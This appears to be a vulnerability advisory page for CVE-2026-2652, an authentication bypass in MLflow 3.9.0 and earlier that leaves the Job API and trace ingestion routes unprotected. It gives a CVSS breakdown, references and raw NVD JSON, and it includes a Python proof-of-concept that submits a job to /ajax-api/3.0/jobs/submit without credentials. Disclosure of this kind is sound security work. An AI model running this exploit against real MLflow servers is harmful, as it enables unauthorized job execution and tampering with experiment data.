CVE-2026-2652

Description

A vulnerability in mlflow/mlflow versions 3.9.0 and earlier allows unauthenticated access to certain FastAPI routes when the server is started with authentication enabled (`--app-name basic-auth`) and served via uvicorn (ASGI). The FastAPI permission middleware only enforces authentication on `/gateway/` routes, leaving other routes such as the Job API (`/ajax-api/3.0/jobs/*`) and the OpenTelemetry trace ingestion API (`/v1/traces`) unprotected. This allows unauthenticated remote attackers to submit jobs, read job results, cancel running jobs, and inject arbitrary trace data into experiments. The issue arises from an architectural mismatch between Flask and FastAPI authentication mechanisms, where the `_find_fastapi_validator()` function fails to handle non-`/gateway/` paths, resulting in a complete authentication bypass. This vulnerability is fixed in version 3.10.0.

CVSS Details

CVSS Score

8.6

Severity

HIGH

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L

Configurations (Affected Products)

No configuration data available.

mlflow/mlflow <= 3.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_host = "http://vulnerable-mlflow-server:5000"

# Vulnerable endpoint that bypasses authentication
# Reference: /ajax-api/3.0/jobs/* or /v1/traces
endpoint = "/ajax-api/3.0/jobs/submit"
url = f"{target_host}{endpoint}"

# Payload to create a malicious job
payload = {
    "job_name": "PoC_Exploit_Job",
    "entry_point_name": "main",
    "project_id": "1",
    "spec": {
        "metadata": {
            "name": "malicious-job"
        },
        "mlflow_version": "3.9.0"
    }
}

try:
    # Send request without authentication headers
    response = requests.post(url, json=payload, timeout=10)

    if response.status_code == 200:
        print("[+] Exploit Successful! Authentication bypassed.")
        print(f"[+] Response: {response.text}")
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(response.text)

except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-2652
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-2652
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-2652/
[4] VulDB https://vuldb.com/cve/CVE-2026-2652
[5] https://github.com/mlflow/mlflow/commit/bb62e773263c14e9ba4d1a82fe72d0de2442c6aa
[6] https://huntr.com/bounties/5aeff5f0-49c7-4180-b5cb-c9a046f16756

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-2652", "sourceIdentifier": "[email protected]", "published": "2026-05-15T03:16:23.127", "lastModified": "2026-05-15T03:16:23.127", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in mlflow/mlflow versions 3.9.0 and earlier allows unauthenticated access to certain FastAPI routes when the server is started with authentication enabled (`--app-name basic-auth`) and served via uvicorn (ASGI). The FastAPI permission middleware only enforces authentication on `/gateway/` routes, leaving other routes such as the Job API (`/ajax-api/3.0/jobs/*`) and the OpenTelemetry trace ingestion API (`/v1/traces`) unprotected. This allows unauthenticated remote attackers to submit jobs, read job results, cancel running jobs, and inject arbitrary trace data into experiments. The issue arises from an architectural mismatch between Flask and FastAPI authentication mechanisms, where the `_find_fastapi_validator()` function fails to handle non-`/gateway/` paths, resulting in a complete authentication bypass. This vulnerability is fixed in version 3.10.0."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-305"}]}], "references": [{"url": "https://github.com/mlflow/mlflow/commit/bb62e773263c14e9ba4d1a82fe72d0de2442c6aa", "source": "[email protected]"}, {"url": "https://huntr.com/bounties/5aeff5f0-49c7-4180-b5cb-c9a046f16756", "source": "[email protected]"}]}}